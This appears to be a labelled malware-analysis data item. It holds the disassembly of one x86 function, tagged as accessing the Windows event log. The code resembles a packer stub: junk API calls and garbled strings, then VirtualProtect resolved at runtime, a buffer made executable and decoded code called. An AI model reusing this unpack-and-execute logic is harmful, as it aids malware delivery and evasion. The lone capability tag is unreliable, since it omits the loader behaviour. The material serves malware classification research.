Function at 0x51f130
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0xf4
mov eax, dword [0x52707c]
xor eax, esp
mov dword [esp + 0xf0], eax
push ebx
push esi
push edi
mov dword [esp + 0x70], 0x49376417
mov dword [esp + 0x48], 0x4f6d3a4f
mov dword [esp + 0x60], 0x1cf916dd
mov dword [esp + 0x64], 0x4b2c4100
mov dword [esp + 0x7c], 0x56fb4887
mov dword [esp + 0x58], 0x2ab22ed8
mov dword [esp + 0x6c], 0x49a5358a
mov dword [esp + 0x74], 0x234c57ec
mov dword [esp + 0x50], 0xe14b449
mov dword [esp + 0x5c], 0x1212a1f7
mov dword [esp + 0x78], 0x1b584e52
mov dword [esp + 0x68], 0x3e909bea
mov dword [esp + 0x54], 0x650a6963
add dword [esp + 0x70], 0x52361e43
sub dword [esp + 0x70], 0x1e57cfa5
add dword [esp + 0x70], 0x2dff8425
sub dword [esp + 0x70], 0xa128db5
sub dword [esp + 0x70], 0x4411c39e
sub dword [esp + 0x70], 0x2d3c0900
sub dword [esp + 0x70], 0x7671de55
add dword [esp + 0x70], 0x157b4c1f
sub dword [esp + 0x70], 0x32eb9454
add dword [esp + 0x48], 0x33cee853
add dword [esp + 0x48], 0x38399ffa
add dword [esp + 0x48], 0x3ca29609
add dword [esp + 0x48], 0x56a34bf3
add dword [esp + 0x60], 0x7bca9bc6
sub dword [esp + 0x70], 0x68b2522a
sub dword [esp + 0x48], 0x4d4108dc
sub dword [esp + 0x64], 0x2119ed54
sub dword [esp + 0x58], 0x2ca96b52
add dword [esp + 0x7c], 0xaf3e25b
sub dword [esp + 0x60], 0x43847761
sub dword [esp + 0x6c], 0x1d5e491c
add dword [esp + 0x74], 0x467fd2e8
sub dword [esp + 0x60], 0x442d607
add dword [esp + 0x48], 0x164e24b6
sub dword [esp + 0x5c], 0x5d3cb1db
add dword [esp + 0x74], 0x2df81fa4
add dword [esp + 0x6c], 0x4f565dd1
add dword [esp + 0x58], 0x10fa4878
add dword [esp + 0x70], 0x32881614
sub dword [esp + 0x58], 0x458639d8
sub dword [esp + 0x70], 0x4e50a74d
sub dword [esp + 0x54], 0x141c9e5f
sub dword [esp + 0x60], 0x3efa8ceb
add dword [esp + 0x50], 0x15924125
sub dword [esp + 0x5c], 0x153a5771
add dword [esp + 0x5c], 0x773918d4
add dword [esp + 0x68], 0x4e8ba301
sub dword [esp + 0x48], 0x31932b9a
sub dword [esp + 0x68], 0x41e32221
add dword [esp + 0x78], 0x6bd1e652
add dword [esp + 0x68], 0x73a9b8a7
add dword [esp + 0x64], 0x594e041c
xor esi, esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x3c], 0x1141ba
add dword [esp + 0x3c], 0x932
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x44], esi
xor edi, edi
push str.vetogisadaya.dll
call ebx
cmp esi, 0x23839
jbe 0x51f33f
test eax, eax
jne 0x51f33f
mov edi, 0x9b
inc esi
cmp edi, 0x9b
jne 0x51f327
xor edi, edi
mov bl, 1
lea esp, [esp]
cmp edi, 0x15bf
jle 0x51f393
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, str.hufise_nogifakekuhonivasowomazajiteza_puvayitolohurejevutusibe
lea ecx, [esp + 0xac]
call fcn.00401040
fld qword [0x524410]
sub esp, 8
fstp qword [esp]
call fcn.00401a50
add esp, 8
fstp st(0)
lea esi, [esp + 0xac]
call fcn.00401080
test edi, edi
jns 0x51f3b6
mov ecx, dword [esp + 0x84]
lea eax, [esp + 0x4c]
push eax
push ecx
push 0x89900
push 0x71
push 0x6f699
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
inc edi
test bl, bl
jne 0x51f350
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x80], 0x20
mov dword [esp + 0x40], 0
mov bl, 0x6c
lea esp, [esp]
lea edx, [esp + 0x9c]
push edx
lea eax, [esp + 0xa8]
push eax
lea ecx, [esp + 0x90]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
lea edx, [esp + 0x98]
push edx
lea eax, [esp + 0x98]
push eax
lea ecx, [esp + 0x8c]
push ecx
lea edx, [esp + 0x9c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea eax, [esp + 0xc8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
call dword [sym.imp.KERNEL32.dll_GetACP]
cmp dword [esp + 0x40], 0x25543
jle 0x51f474
cmp dword [esp + 0x88], 0x3c4020
je 0x51f474
cmp dword [esp + 0x84], 0x5fa6c78
je 0x51f474
cmp dword [esp + 0xe8], 0x1f9adfd9
je 0x51f474
cmp eax, 0x176cf5a
jne 0x51f4c9
cmp dword [esp + 0x80], 0x40
jae 0x51f485
inc dword [esp + 0x80]
cmp dword [esp + 0x44], 0
jne 0x51f4c0
push str.kernel
push str.kotucawozibiyuhu
call esi
push str.kernel32.dll
mov dword [0x528036], 0x642e3233
mov byte [0x52803a], bl
mov byte [0x52803b], bl
mov byte [0x52803c], 0
call edi
mov dword [esp + 0x44], eax
inc dword [esp + 0x40]
jmp 0x51f3e0
mov eax, str.sawericecizaxafixo_bamoyevetizababa
lea ecx, [esp + 0xac]
call fcn.00401040
cmp dword [esp + 0xc0], 0x10
mov eax, dword [esp + 0xac]
jae 0x51f4f2
lea eax, [esp + 0xac]
mov edx, str.wezopizusumo
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x51f500
mov edi, dword [esp + 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x52439c
push edi
call esi
push str.VirtualProtect
push edi
mov dword [0x529754], eax
call esi
lea esi, [esp + 0xac]
mov dword [0x52974c], eax
call fcn.00401080
mov esi, dword [0x524248]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x3c]
mov ebx, dword [0x52802c]
mov dword [0x529750], esi
xor esi, esi
test eax, eax
je 0x51f5d5
mov edi, dword [esp + 0x40]
test esi, esi
jne 0x51f56e
push eax
push esi
call dword [0x529754]
mov edi, eax
mov dword [esp + 0x44], ebx
add dword [esp + 0x44], 0x932
mov ecx, dword [esp + 0x44]
mov dl, byte [ecx + esi]
mov byte [edi + esi], dl
cmp esi, 0x64
jne 0x51f5c8
mov eax, dword [esp + 0x3c]
push 0x529758
push 0x40
push eax
push edi
call dword [0x52974c]
mov dword [esp + 0x40], 0
mov dword [esp + 0x40], 0x20
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x3c]
push 0x529758
add eax, eax
push eax
push ecx
push edi
mov dword [esp + 0x50], eax
call dword [0x52974c]
mov eax, dword [esp + 0x3c]
inc esi
cmp esi, eax
jb 0x51f560
mov dword [esp + 0x40], edi
lea edx, [esp + 0x3c]
push edx
lea eax, [esp + 0x44]
push eax
call fcn.0051efd0
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x3c]
mov edi, dword [esp + 0x40]
push 0x529758
push ecx
push edx
push edi
call dword [0x52974c]
mov eax, dword [esp + 0x3c]
push eax
call fcn.0051f0b0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
cmp ebx, 0x5454f
jne 0x51f665
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeNameA]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx]
mov ecx, dword [esp + 0xfc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov dword [edx + 8], 1
xor eax, eax
call fcn.00401589
mov esp, ebp
pop ebp
ret 0x10